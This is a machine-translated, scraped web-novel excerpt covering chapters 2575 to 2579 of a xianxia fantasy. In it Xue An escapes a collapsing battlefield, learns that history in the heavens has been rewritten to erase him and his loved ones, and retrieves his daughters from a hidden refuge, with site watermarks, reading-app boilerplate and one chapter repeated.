    An Yan''s face is pale, UU reading www.uukanshu. Com is obviously very lossy.


    Xue An''s eyes showed a deep color of pity, and then gently put her into the sea of ??eyebrows.


    "Yan''er, you have a good rest, leave the rest to me!"


    When the words fell, Xue An stepped on it, and this shaky battlefield was shattered, and then Xue An rushed out of it.


    At the same time, on the outside square, Hu Ye, Yue Shifang and other hundreds of people were desperately attacking the idol of Eastern Emperor Taiyi.


    Everyone was anxious, even Fox Ye, who had always been tired, was a little panicked at this time.


    ���]��. "Damn, what exactly is this idol made of, and why is it so strong?"


    After using the Nine Tails to attack several times and did not move, Hu Ye couldn''t help but roared furiously.


    No one paid attention to him, and people were trying their best to deal with this idol, but even if it was as strong as Yue Shifang, it had little effect.


    Fox Ye raised his head to look at this tall idol, and a thought suddenly flashed in his mind.


    Is that guy really dead?


    As soon as this thought came out, Hu Ye couldn''t help but shudder in Lingling.


    No, it''s impossible!


    How could he die!


    Hu Ye tried to comfort her, but her eyes were already red.


    And just when he was rarely sad, the originally indestructible idol suddenly began to tremble.


    Immediately afterwards, countless cracks appeared on the idol, and they broke apart in an instant.


    The crowd exclaimed.


    "What''s the matter?"


    "The battlefield collapsed!"


    Before the words fell, I saw a figure rushing out of the sky full of smoke and dust.


    Mi He Mi. Yue Qing cried with joy, "It''s Xue An!"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2575： This battle is over

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Sure enough, when this figure fell, it was Xue An impressively.


    In an instant, the audience was shaking like a tsunami.


    To be honest, before this, many people thought that Xue An must be gone.


    After all, that is the Eastern Emperor Taiyi who can be called the first person in this world!


    Coupled with the mysterious and unpredictable attributes of evil things, even if Xue An is a new up-and-coming star in the limelight, facing such a BOSS alone, it is estimated that it will be more fortunate.


    It''s just that although many people think so in their hearts, they don''t show it on the surface, and instead try their best to attack the gods.


    Because for them, their fate was saved by Xue An.


    If he hadn''t cut the string of cause and effect at the last moment, everyone on the scene would have fallen into the battlefield, and there would be no chance of survival.


    Based on this alone, people cannot say nothing to Xue An.


    Even if he really died in battle, people like himself would have to find a way to break through this idol and collect his corpse to avenge him.


    Under this idea, none of the hundreds of families present actually left.


    Instead, they all attacked the gods here with the belief that they were mortal.


    But it never expected that when almost everyone secretly inferred that Xue An was dead, this idol was broken, and then Xue An rushed out of it intact.


    What does this show?


    This shows that he obviously won the battle with Donghuang Taiyi, otherwise it would be impossible to leave this hundred battlefield.


    It seems to be to confirm the ideas of these people. The evil army that originally surrounded the square and formed a confrontation with the hundreds of people was also turned into powder with the fragmentation of the gods.


    The city immediately below his feet also began to tremble.


    At the same time, the entire Yin-Yang family, except for the Jidu Star Region guarded by Lei''s different guards, everything related to the Yin-Yang family in the other two territories was falling apart.


    In the blink of an eye, these two star regions turned into ruins and dead regions, and even the space was faintly collapsed.


    Someone exclaimed, "No, this star field is about to collapse!"


    But even in this situation, Yue Qinghuan rushed forward overjoyed, "Xue An!"


    Although there are only two simple words, it contains infinite meaning.


    As for Mengzhu Nasha and others, although they didn''t come forward, the concern in their eyes explained everything.


    Xue An smiled faintly, and then rushed towards Yue Qinghuan and the distant Yue Shifang and others nodded slightly.


    "I''m fine, it''s not suitable to stay here for long, let''s leave first!"


    As soon as the voice fell, a respectful voice came from behind the crowd.


    "If you don''t dislike it, you can go to the old Jidu Star Territory for a while!"


    After hearing this, everyone turned their heads and looked around.


    The speaker is different from the master of the Star Territory.


    The Hundred Families Conference was held, and Lei, as the leader of one of the three star regions of the Yin and Yang Family, naturally also attended.


    It''s just that he, the master of the Star Territory, is nothing more than a decoration for the entire Yin Yang Family.


    So he only attended the opening ceremony, but did not enter the battlefield behind.


    But even so, Lei different still smelled an unusual smell from it.


    Especially when I saw Donghuang Taiyi personally appear on the stage and turned into a **** statue to hold the battlefield, the anxiety in my heart became more and more obvious.


    But he still underestimated the dangers of the Hundred Families Conference, especially after seeing countless evil attacks suddenly appeared in the square, he understood something in an instant, and then resolutely joined Fox Night and Luo Linyuan. In the battle group of others.


    You must know that as Lei Zun, he himself is extremely disgusted with evil things, and coupled with his own wealth and life this time, he certainly has to spare no effort to deal with these evil things.


    But the subsequent changes in the situation made him unexpected. First, the hundreds of people on the battlefield were actually teleported out of thin air.


    Then I heard the news that the outstanding Chinese teenager stayed on the battlefield of Hundreds of families to face the blackened Eastern Emperor Taiyi alone.


    After hearing this news, Lei could not help but sighed, and then made two decisions.


    One is to immediately send someone back to the Jidu Star Territory to prepare, because the next thing is obviously going to be a shocking chaos.


    The second is to stay by himself and prepare to deal with the darkened Eastern Emperor Taiyi.


    Lei was very clear, even if he escaped now, Donghuang Taiyi would not let him go after he came out of the battlefield.


    Because since he even put aside the disguise that he had maintained for ten thousand years, the plot was obviously huge, and it was by no means as simple as dealing with a Xue An.


    At that time, no matter what he intends to do, as the only outsider in the Yin Yang family, he will bear the brunt and become the first target to be eradicated.


    At this point, Lei is sober.


    But when he was ready to die, he didn''t expect that things would turn around again.


    Xue An, who everyone thought was bound to die, unexpectedly walked out of the battlefield without incident.


    But looking at it now, it was actually the Eastern Emperor Taiyi who had already lost.


    This couldn''t help making Lei different feel a great shock.


    Once upon a time, he always regarded Xue An as a junior.


    Therefore, in the main city of the Jidu Star Territory before, he would have the meaning of supporting Xue An.


    But looking at the current situation, the clown turned out to be me.


    This young man who seemed to be a weaker champion turned out to be the formidable top existence.


    So when he heard that Xue An was about to lead the crowd to leave this turbulent place first, he couldn''t help but blurted out the words just now.


    Seeing Lei different''s ardent eyes, Xue An instantly understood what he meant in his heart, and then smiled slightly.


    "Also, since the Lord Lei invited you like this, let''s go to Jidu Star Region first!"


    Lei Di was very excited, nodded and said: "Okay, in that case, then everyone, follow me!"


    As the master of the Star Territory of Jidu, his strength may be slightly weaker, but the magic weapon on the way is the top of the top. UU reading www. uukanshu. com


    Originally, the Thunder family was good at speed, not to mention that the Thunder, the ancestor of the Lei Zun, was different.


    So after he waved his hand, a ray of lightning attached to everyone, and then soared into the sky, broke through the broken space barrier, and flew straight in the direction of Jidu Star Territory.


    As soon as everyone left their front feet, the two star regions of the Yin Yang family collapsed and broke apart, turning into a black hole-like existence.


    At this point, the last trace of Donghuang Taiyi in this world has also been obliterated, and this place has completely become a place of cause and effect.


    At the same moment, outside of the Shen family''s star field, the two warring parties who were fighting endlessly did not know what was happening in the Yin Yang family.


    Diablo and Fen Hong are both hideous at this moment, because they have already overwhelmed all their strength in this battle, and it can be said that they will be benevolent if they fail to succeed.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (the end of Chapter 2575), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2576： But the real crisis has just begun...

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    As for the military strategists and the Shen family, they are no exception.


    Everyone has tried their best to try to retreat this evil army.


    But at this moment, along with the causal change of an unknowable dimension, an invisible shock wave spread from the Yin-Yang home and spread at an extremely terrifying speed.


    Almost in the blink of an eye, this shock wave crossed the distance of hundreds of millions of miles between the Yin Yang family and the Shen family, and arrived on the battlefield.


    Click!


    Wherever he went, the evil things were all broken.


    Fen Hong and Dia Hei, who had been fighting fiercely, were shocked even more after they felt the shock wave.


    "How can it be?"


    The two yelled in unison, and then turned around in infinite horror to escape the shock wave.


    But how could their speed catch up with the bursting shock wave, almost in a moment, this shock wave rushed to the back of the two evil things, and then rumbling over it.


    puff!


    After all, the two evil creatures are powerful, and they actually last longer than those ordinary evil creatures.


    But that''s all, I saw the two of them spit out a big mouthful of blood, and then they screamed hysterically.


    "This is impossible, how could Lord Donghuang be defeated?"


    That''s right.


    They were originally evil creatures that relied on the Eastern Emperor Taiyi, so Fen Hong would come back from the dead before.


    It can be said that as long as Eastern Emperor Taiyi exists, they are truly immortal in this world.


    This is why they are so arrogant.


    But it never expected that the existence they relied on today would have fallen, and disappeared completely.


    So they are not reconciled, they are desperate.


    But no matter what kind of mood it is, it is impossible to change the established facts.


    However, in a moment, these two evil creatures were also shattered and turned into powder.


    The battlefield was quiet.


    The members of the Shen family and the military family stared at the empty void with big eyes and small eyes, and fell into a collective confusion.


    "What the **** is going on? How come all these evil things disappear all of a sudden?" Zhong Lishan muttered with doubts on his face.


    As for Shen Muyu, question marks were all over his face.


    Only this great treasurer, the sword spirit of Jian Ancestor Longsword, turned his head solemnly to look at the source of the wave of destruction.


    "I think I know what''s going on!"


    "What''s the matter?" Shen Muyu asked immediately.


    "Obviously someone just destroyed the core of evil things in this realm, that''s why these evil things lost their source of power and turned into nothingness!"


    The evil core of this world...


    These words caused Shen Muyu to fall into deep contemplation. Then who has such a powerful strength? Could it be...


    A face suddenly flashed in Shen Muyu''s mind, but he quickly denied the idea.


    How could it be him!


    Even if his strength is stronger than his own, but he is also limitedly strong, how could he have eliminated the core evil in this realm?


    Who is it then?


    Just when Shen Muyu was puzzled, the wave of destruction had swept across the entire sky.


    The evil things that were raging everywhere in the outer sky broke into pieces at the sound, and then turned into powder.


    This naturally attracted the consternation and curiosity of countless people.


    And at this moment, Xue An and the hundreds of people had already arrived in the main city of Jidu Star Territory.


    When he was on the road before, Lei had already notified the subordinates who stayed here, so when everyone arrived, the capital of the city had already made some preparations.


    When everyone landed, those who were injured were immediately properly arranged, as for the others, they also arranged for someone to serve.


    Only then did many people breathe out, and then they collapsed on their chairs and didn''t want to move anymore.


    In the past two days, many people have experienced things they could not experience in their entire lives.


    This kind of excitement like a roller coaster has made many people physically and mentally exhausted.


    Obviously, Lei did not notice this, so he didn''t make a big fuss. Instead, he tried his best to create a quiet environment where everyone could recuperate.


    But they can rest, but Xue An can''t.


    Immediately after landing, Xue An immediately took Huye to a quiet and undisturbed corner.


    "What is the situation of the heavens now?" Xue An asked straightforwardly without any politeness, the expression on his face was infinitely serious and solemn.


    In fact, as early as Donghuang Taiyi was not dead, what Xue An was most worried about was not him, but the situation of the heavens.


    Because the Eastern Emperor Taiyi revealed an astonishing fact at the very beginning, that is, some unknown existence has already sneaked into the heavens and began to implement a despicable and insidious plan.


    These words were like a heavy stone, weighing on Xue An''s heart.


    So after killing the Eastern Emperor Taiyi, he disregarded his own injuries and immediately broke out of the battlefield, just wanting to know the situation of the heavens as soon as possible.


    And when he saw the Fox Night appearing in the square, his heart sank even more.


    If there were no special things, it would be impossible for Fox Ye to find here.


    His ability to appear here proves that the situation in the heavens has obviously been corrupted to a terrifying level.


    really.


    After hearing these words from Xue An, Hu Ye also changed her usual dangling and said with a serious face.


    "Very bad! It can even be said to be more difficult than ever, because this time the enemy is invisible and intangible!"


    "Go on!" Xue An said solemnly.


    "First of all, the most unbelievable thing is..." Hu Ye paused, his face turned pale.


    "The entire heavens have no trace of you!"


    Xue An was shocked.


    Is it true?


    But Hu Ye went on to say, "God knows how this happened, it''s like overnight, everything about you has disappeared!"


    "There is no Xue An, no Red Lotus Immortal Venerable, and even the things you have done have become other people''s achievements!"


    A look of horror appeared in Hu Ye''s eyes, as if thinking of some extremely unbearable memory, he trembled.


    "At that time, after I discovered this fact, UU reading thought it was a joke made by others, but when I searched the sky, I found that all the history about you has been tampered with."


    "I even went to find many friends for this, but without exception, they don''t remember that someone like you existed! More importantly..."


    "What is it?" Xue An asked with a deep face.


    Hu Ye swallowed hard, and said in a choked tone: "The point is that even my sister Hu Ying, Mengxue Tang Xuan''er and others disappeared with them!"


    "What?" Xue An changed completely.


    Fox Ye cried and said, "I was shocked when I discovered this fact. I even checked the genealogy of the Fox Kingdom in Qingqiu. It turned out that there was no my sister''s name on it. They were just like you. They all existed. All the traces of it have been obliterated abruptly!"


    In order to facilitate the next reading, you can click on "Favorites" below to record this reading (Chapter 2576, the real crisis has just begun), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2576： But the real crisis has just begun

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    As for the military strategists and the Shen family, they are no exception.


    Everyone has tried their best to try to retreat this evil army.


    But at this moment, along with the causal change of an unknown dimension, an invisible shock wave spread from the Yin-Yang home, and spread at an extremely terrifying speed.


    Almost in the blink of an eye, this shock wave crossed the distance of hundreds of millions of miles between the Yin Yang family and the Shen family, and arrived on the battlefield.


    Click!


    Wherever he went, the evil things were all broken.


    Fen Hong and Dia Hei, who had been fighting fiercely, were shocked even more after they felt the shock wave.


    "How can it be?"


    The two yelled in unison, and then turned around in infinite horror to escape the shock wave.


    But how could their speed catch up with the bursting shock wave, almost in a moment, this shock wave rushed to the back of the two evil things, and then rumbling over it.


    puff!


    After all, the two evil creatures are powerful, and they actually last longer than those ordinary evil creatures.


    But that''s all, I saw the two of them spit out a big mouthful of blood, and then they screamed hysterically.


    "This is impossible, how could Lord Donghuang be defeated?"


    That''s right.


    They were originally evil creatures that relied on the Eastern Emperor Taiyi, so Fen Hong would come back from the dead before.


    It can be said that as long as Eastern Emperor Taiyi exists, they are truly immortal in this world.


    This is why they are so arrogant.


    But it never expected that the existence they relied on today would have fallen, and disappeared completely.


    So they are not reconciled, they are desperate.


    But no matter what kind of mood it is, it is impossible to change the established facts.


    However, in a moment, these two evil creatures were also shattered and turned into powder.


    The battlefield was quiet.


    The members of the Shen family and the military family stared at the empty void with big eyes and small eyes, and fell into a collective confusion.


    "What the **** is going on? How come all these evil things disappear all of a sudden?" Zhong Lishan muttered with doubts on his face.


    As for Shen Muyu, question marks were written all over his face.


    Only this great treasurer, the sword spirit of Jian Ancestor Longsword, turned his head solemnly to look at the source of the wave of destruction.


    "I think I know what''s going on!"


    "What''s the matter?" Shen Muyu asked immediately.


    "Obviously someone just destroyed the core of evil things in this realm, that''s why these evil things lost their source of power and turned into nothingness!"


    The evil core of this world...


    These words caused Shen Muyu to fall into deep contemplation. Then who has such a powerful strength? Could it be...


    A face suddenly flashed in Shen Muyu''s mind, but he quickly denied the idea.


    How could it be him!


    Even if his strength is stronger than his own, but he is also limitedly strong, how could he have eliminated the core evil in this realm?


    Who is it then?


    Just when Shen Muyu was puzzled, the wave of destruction had swept across the entire sky.


    The evil things that were raging everywhere in the outer sky broke into pieces at the sound, and then turned into powder.


    This naturally attracted the consternation and curiosity of countless people.


    And at this moment, Xue An and the hundreds of people had already arrived in the main city of Jidu Star Territory.


    When he was on the road before, Lei had already notified the subordinates who stayed here, so when everyone arrived, the capital of the city had already made some preparations.


    When everyone landed, those who were injured were immediately properly arranged, as for the others, they also arranged for someone to serve.


    Only then did many people breathe out, and then they collapsed on their chairs and didn''t want to move anymore.


    In the past two days, many people have experienced things they could not experience in their entire lives.


    This kind of excitement like a roller coaster has made many people physically and mentally exhausted.


    Obviously Lei Differ saw this, so he didn''t make a big fuss, but tried his best to create a quiet environment so that everyone could rest and relax.


    But they can rest, but Xue An can''t.


    Immediately after landing, Xue An immediately took Huye to a quiet and undisturbed corner.


    "What is the situation of the heavens now?" Xue An asked straightforwardly without any politeness, the expression on his face was infinitely serious and solemn.


    In fact, as early as Donghuang Taiyi was not dead, what Xue An was most worried about was not him, but the situation of the heavens.


    Because the Eastern Emperor Taiyi revealed an astonishing fact at the very beginning, that is, some unknown existence has already sneaked into the heavens and began to implement a despicable and insidious plan.


    These words were like a heavy stone, weighing on Xue An''s heart.


    So after killing the Eastern Emperor Taiyi, he disregarded his own injuries and immediately broke out of the battlefield, just wanting to know the situation of the heavens as soon as possible.


    And when he saw the Fox Night appearing in the square, his heart sank even more.


    If there were no special things, it would be impossible for Fox Ye to find here.


    His ability to appear here proves that the situation in the heavens has obviously been corrupted to a terrifying level.


    really.


    After hearing these words from Xue An, Hu Ye also changed her usual dangling and said with a serious face.


    "Very bad! It can even be said to be more difficult than ever, because this time the enemy is invisible and intangible!"


    "Go on!" Xue An said solemnly.


    "First of all, the most unbelievable thing is..." Hu Ye paused, his face turned pale.


    "The entire heavens have no trace of you!"


    Xue An was shocked.


    Is it true?


    But Huye went on to say at this moment: "God knows how this happened, it''s like overnight, everything about you has disappeared!"


    "There is no Xue An, no Red Lotus Immortal Venerable, and even the things you have done have become other people''s achievements!"


    A look of horror appeared in Hu Ye''s eyes, as if thinking of some extremely unbearable memory, he trembled.


    "At that time, after I discovered this fact, UU reading thought it was a joke made by others, but when I searched the sky, I found that all the history about you has been tampered with."


    "I even went to find many friends for this, but without exception, they don''t remember that someone like you existed! More importantly..."


    "What is it?" Xue An asked with a deep face.


    Hu Ye swallowed hard, and said in a choked tone: "The point is that even my sister Hu Ying, Mengxue Tang Xuan''er and others disappeared with them!"


    "What?" Xue An changed completely.


    Fox Ye cried and said, "I was shocked when I discovered this fact. I even checked the genealogy of the Fox Kingdom in Qingqiu. It turned out that there was no my sister''s name on it. They were just like you. They all existed. All the traces of it have been obliterated abruptly!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2576, the real crisis has just begun), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2577： The world after being tampered with

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    In fact, Xue An had predicted that this time the matter would be serious, but he never expected that the situation would be so difficult.


    Not only the traces of his own existence have been obliterated, but even Fan Mengxue, Tang Xuan''er, and Hu Ying and other people close to him have also completely lost their traces.


    This is not just for myself, but even my relatives and friends have been implicated.


    At this point, Xue An couldn''t help but get angry, but he still took a deep breath and forced himself to calm down.


    Because he knows that the more at this time, the more he can''t get confused.


    "What the **** is going on, why the sky has changed so drastically overnight, and how do you retain the memory?" Xue An asked in a deep voice.


    Hu Ye smiled bitterly, "Seriously, I have been wondering until now, why I can not be affected by this storm, and retain the memory of you!"


    "Moreover, there was absolutely no sign of this turmoil beforehand. I still remember that night when I smiled and told my sister a few words about you, but when I woke up the next day, everything changed and my sister was gone. Traces."


    "I didn''t care at the time, thinking she was just going out to play, but when I asked the three elders where Ying''er had gone, she looked at me suspiciously and said where I have any younger sister."


    "At that time, I almost got anxious, thinking that Huwan was joking with me at all, but after I repeatedly asked, I found that Huwan really didn''t remember Huying!"


    "This change shocked me. I immediately found several other elders of the Fox tribe. Without exception, they did not know that there was a person like Zeng Ying''er. Even though I have repeatedly added details, I even did not hesitate to say many Ying''er did. It��s wrong, but they still looked at me blankly, completely ignorant of what I was talking about."


    "Now I was completely dumbfounded, and then I went to the earth with an unwilling attitude, but there I found that the situation was far more serious than I thought. Not only Yinger was missing, but also with Mengxue and Xuaner. , Even the Chan''er girl disappeared."


    "As for you..." Fox Ye paused, and a look of horror appeared in his eyes, "I searched through history, but I didn''t find a trace of your existence!"


    Xue An was silent and seemed to be digesting this astonishing fact. It was not until a moment later that he slowly raised his head.


    "What about the Red Lotus Immortal Sect?"


    "Red Lotus Immortal Sect..." Hearing these four words, a look of resentment appeared on Hu Ye''s face.


    "Where is the Red Lotus Immortal Sect? The one who opened the gate on that lotus mountain now is an existence called Hongyu Villa."


    "But other than that, the other components of this Hongyu Villa are very similar to the Red Lotus Immortal Sect that you created. For example, this Hongyu Villa is also in charge of my Qingqiu Fox Clan and the sword palace of Li Jingxing. But do you know the origin of this Hongyu Villa?"


    A deep sarcasm appeared on Fox Ye''s face, "In the history of this Red Jade Villa, the people who created it are actually a family of gods and creatures from outside the sky!"


    "The fetish family?" Xue An asked in shock.


    "That''s right, that is, the evil things we call, but on the basis of the distorted history, these evil things have turned into gods that have helped the heavens a lot."


    "For example, it was these so-called divine things that turned the tide, saved the endangered heavens, and then founded this Hongyu Villa."


    Speaking of this, Hu Ye itched his teeth with hatred, and said coldly: "It''s ridiculous! You and I fought **** battles and sacrificed countless lives to achieve a brilliant record that was lightly tampered with on that page of history books into another. appearance!"


    "And the existence we have tried to eliminate, now it is even more magnificent as a **** that everyone worships, and even a temple has been built to pay tribute to it! This is simply a great irony."


    Hu Ye''s color changed even more with anger. Compared with his anger, Xue An was much calmer.


    "Then you Qingqiu Fox Clan''s Great Elder Huhuan and Sword Palace Master Li Jingxing didn''t even notice it at all?"


    Hu Ye shook his head, "No, at least after I contacted them and asked side by side for a while, I found that they were in the same situation as the others and didn''t know anything about your existence."


    "Moreover, in this world that has been tampered with, Li Jingxing is far less stunning than that of the previous world. He is just a madman who is addicted to swords and obsessed with it. As for the elder Huhuan..."


    A strange look appeared on Fox Ye''s face, "Can you imagine that the highest elder of the dignified Qingqiu Fox Country is actually a big drunk who has been drunk all day long and hardly awake?"


    "Then... Where''s Zhang Tianyou?" Xue An suddenly asked a name that was unexpected by Hu Ye.


    "You mean that guy who sits in a wheelchair and plays mechanical alchemy all day?"


    "Yes! There is an artificial intelligence starring around him, responsible for recording all the affairs of the Red Lotus Immortal Sect. Are there any clues in this artificial intelligence record?"


    Hu Ye patted his thigh, and said annoyedly: "Why didn''t I think of this before! I didn''t check those records at all at that time!"


    Fox night couldn''t regret it.


    Xue An suddenly shook his head, "It is estimated that you will not find any flaws even if you check it. Since the other party made such a ruthless attack and tampered with the entire history of the heavens overnight, then they would never Will let go of any clues."


    "Then what should we do now? You know that before I came to this outer sky, I almost walked through the entire heavens, but I couldn''t find any trace of evil at all. In desperation, I thought of coming to this outer sky to report to you. of."


    Speaking of this, the anxious color on Hu Ye''s face became more and more intense.


    "You have to know that Ying''er has disappeared for a long time, and God knows if she is in any danger!"


    "Don''t worry, although I don''t know what is going on right now, Ying''er and Xuan''er Mengxue should be fine!"


    Even so, UU reading www. uukanshu.com However, the worries in Huye''s heart are increasing unabated.


    "When are you going to leave and return to the heavens?"


    "It shouldn''t be too late, of course, the sooner the better. When I take care of things here a little bit, then we will set off immediately!" Xue An said in a deep voice.


    "Okay!" Hu Ye nodded his head heavily, feeling a little calm in his heart, and then looked at Xue An''s eyebrows a little strangely.


    "Sister-in-law and two little girls?"


    "Before the war, I arranged the two little girls to a safe place just to be on the safe side. As for Yan''er..."


    Xue settled for a while, did not conceal, and directly told Fox Ye what had happened in the battlefields of hundreds of families.


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2577 The World After the Tampered), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2578： Missing and not afraid of difficulties

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    After Huye finished listening, his eyes stared like copper bells, and then he asked with concern: "Then my sister-in-law is okay!"


    "It''s okay, it''s just a little loss of strength. Now I am recuperating in the sea of ??eyebrows, and I should be able to wake up in a few days."


    "It''s okay, it''s okay! I really don''t know that my sister-in-law is so powerful that even such a powerful Donghuang Taiyi can be killed by him!" Hu Ye sighed again and again.


    At this point, the atmosphere finally relaxed a little.


    Xue An couldn''t help but smiled, "What is the younger brother and sister Arou doing to you?"


    Hearing Xue An''s mention of A Rou, Fox Ye couldn''t help showing tenderness on his face, "It was very good to me, and it could even be said to the point of meticulousness. Even before leaving the heavens this time, I told her to go. Save a friend. Although she has no memory of you, she still has no obstacles! It can be said that no matter what I do, she will silently support me!"


    Xue An nodded, "It is your blessing to have such a virtuous and gentle woman with you! Do you have any children?"


    There was a rare shy look on Fox Ye��s face, "Not yet, I plan to play for another two years, not to mention that it is very difficult for my blood to give birth to offspring. It requires a very long preparation. Yes! So the direct descendants of every fox clan are precious!"


    Speaking of this, Hu Ye obviously remembered her missing sister, Hu Ying, and the expression on her face dimmed.


    Xue An sighed lightly, but did not persuade him.


    In fact, he was worried at this moment.


    Just as the two people were silent with each other, a soft cough came from a distance.


    "Is it convenient for me to come over?"


    The speaker was Yue Qinghuan.


    Hearing this voice, Fox Ye finally regained her habit, and squeezed Xue An''s eyes with a narrow face.


    "Here, your little lover is here for you! I won''t bother you anymore, goodbye!"


    "Go away, dare to talk nonsense again, be careful I pull off your fox tail!" Xue An scolded with a smile.


    Immediately the two laughed, and finally felt a little relaxed.


    Then Hu Ye turned around and left.


    When he left, Yue Qinghuan walked around the corner and came to Xue An.


    "What are you talking about? It''s so mysterious, and I''ve said it for so long." Yue Qing said with a smile.


    Xue An smiled faintly, "It''s nothing, just some trivial things after I left."


    Looking at Xue An with an indifferent expression, Yue Qinghuan''s expression gradually became serious.


    "Are you going back?"


    "Well, I want to go back!"


    "Is it tricky?" Yue Qinghuan couldn''t help asking.


    "It''s okay, but I haven''t found the eyebrows for the time being."


    Xue An didn''t intend to tell Yue Qinghuan what happened in the heavens. It was not that Yue Qinghuan could not believe it, but the less people knew about this kind of thing, the better.


    But Yue Qinghuan was shocked.


    She knew Xue An well, and knew that unless necessary, he would never use such vague words to fool people.


    This shows that the things Xue An is facing must be extremely difficult.


    But this man will always be like this. He refuses to say anything, but silently carries it on his shoulders.


    At this moment of thought, Yue Qinghuan''s eyes could not help but become lustrous, and then whispered: "Is it tricky that I can''t even say?"


    Xue An chuckled, "Okay, I will tell you when it''s time to tell you. Now that you have free time, then do something with me!"


    "what''s up?"


    "Follow me to pick up and miss them!"


    Yue Qinghuan didn''t even hesitate at all, and directly nodded in answer.


    "good!"


    Without further ado, just leave.


    At the speed of the two of them, they flew out of the scope of the Jidu star field in the blink of an eye and came into the vast void.


    Xue An did not speak, but continued to march into the depths of the void.


    He did not speak, and Yue Qinghuan naturally closed his lips tightly without saying a word.


    After a full hour in this way, they were far away from the sphere of influence of the Yin Yang Family, and came to an extremely remote place.


    All the forces far away from the sky here, even the nearest commercial route are hundreds of millions of miles away.


    It can be said that if it is not for special needs, no one will come to this ghost place.


    Not even evil things.


    After all, what they want is to slaughter and devour the lives of the monks, but such a desert-like void does not even have root hairs, and they are useless here.


    Yue Qinghuan saw the mystery almost instantly, and couldn''t help but admire Xue An''s hard work.


    At the same time, Xue An stopped, then raised his hand and wrote several extremely complicated and weird talisman seals one after another in the air.


    The reason why it is weird is that many of the lines of this talisman seal are self-contradictory.


    But Xue An did so, and the key is that he was successful.


    In an instant, when the talisman seal was reflected on the void, the ripples finally converged into a gate of time.


    But Yue Qinghuan felt the aura of no fewer than dozens of traps from this door.


    As for what you can''t feel, it''s even more uncountable.


    It can be said that if he doesn''t understand the dangerous existence in it, even if he is a saint, he will have to peel off a layer of skin.


    Xue An slapped his handprints one by one, and it took a full cup of tea to eliminate all the scalp-numbing arrays on this door of time and space.


    Then Yue Qinghuan followed Xue An into the gate of time and space, and removed dozens of defensive circles one after another, until Yue Qinghuan felt a little numb, and finally saw a small world.


    Said it is a small world, it is actually a small space on one side, but it can be seen that this space has been carefully developed and is extremely solid.


    And in this space there is the small building with treasures floating impressively.


    When Xue An approached the front, the brilliance flickered on the Fubao Xiaolou, and then he spit out a few brilliance.


    The two leading ones are just thinking and thinking.


    And behind the two of them was a clone of Xue An and a talisman ball in the form of a girl.


    "dad!"


    After seeing Xue An, the two little girls cheered and rushed over.


    Although so many years have passed , the size of the two little girls has grown slowly, and even the growth of their minds has slowed down.


    It''s as if a person''s childhood is directly lengthened.


    Therefore, Xue An couldn''t help but chuckled lightly when he saw the two daughters who pounced on him, and then hugged them in his arms.


    "Are you scared during the time when Mom and Dad are away?"


    "We are not afraid!"


    "Yes, we won''t be afraid! Because Dad, didn''t you say this is a test for us!"


    With that said, Nian Nian He Xiang Xiang looked at each other and shouted in unison.


    "I miss you, don''t be afraid of difficulties!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2578 Missing is not afraid of difficulty), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2579： Thoughts

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Seeing the immature but resolute expressions on the faces of the two daughters, Xue An couldn''t help but warm his heart, and then lowered his head with a chuckle, rubbing his forehead against the cheeks of the two little girls.


    "Okay! My miss is really the best and most powerful."


    Yue Qinghuan on the side couldn''t help but smile at the strange spirits of these two little girls.


    Here Xue An began to tidy up the Fu Bao Xiaolou.


    At the beginning, he left too many ambushes and arrangements for safety reasons. Now that he is leaving, he naturally has to take all these things back, otherwise it is likely to cause unnecessary trouble.


    And when he was busy, he thought about it and suddenly said, "Sister, go back to Fubao Xiaolou and help me get something."


    "If I don''t go, why should I let me go?" Boss Nian Nian was unhappy.


    "Because I am your sister!" Think about it and plan to show the majesty of being a sister.


    "Chee, sister who is only five minutes older than me? I don''t want to go if I don''t." Nian Nian didn''t take this set at all.


    "I really missed it, so let''s do this for my sister, and I promise to let you eat a big bite first when I eat ice cream!"


    The serious expression on Nian Nian''s little face gradually eased, and she was obviously a little moved, but she still stubbornly refused to leave.


    Think about reluctantly extending two green fingers, "How about two mouthfuls? This is the bottom line, no matter how much it is, it will be impossible."


    "Huh, this is almost the same! What a lazy sister."


    Nian Nian mumbled, and then turned back to Fu Bao Xiaolou.


    When she left, her little face suddenly became very serious, and then she lowered her voice and said, "Sister Qinghuan, is my father okay!"


    Yue Qinghuan was taken aback, "It''s okay? Why do you ask?"


    Think about it and shook his head, "You don''t have to lie to me, if it''s all right, why doesn''t my mother show up?"


    Yue Qinghuan was a little speechless, because Xue An briefly introduced her to the process of the battle on the way.


    So she knew An Yan was in a coma at the moment.


    But Xue An understood to her that these matters must be kept secret from the two daughters, so they were worried.


    So she quickly adjusted her mentality and chuckled: "Your mother has other things temporarily, so she didn''t come!"


    I thought about it but sighed, "Sister Qinghuan, you don''t have to lie to me. Although I haven''t grown up yet, I am not a kid anymore. When my father placed us in this place, I already knew something was wrong. NS!"


    Speaking of this, think about blinking a pair of big, surging eyes, looking at the back of Xue An who is busy in the distance, and said in a low voice.


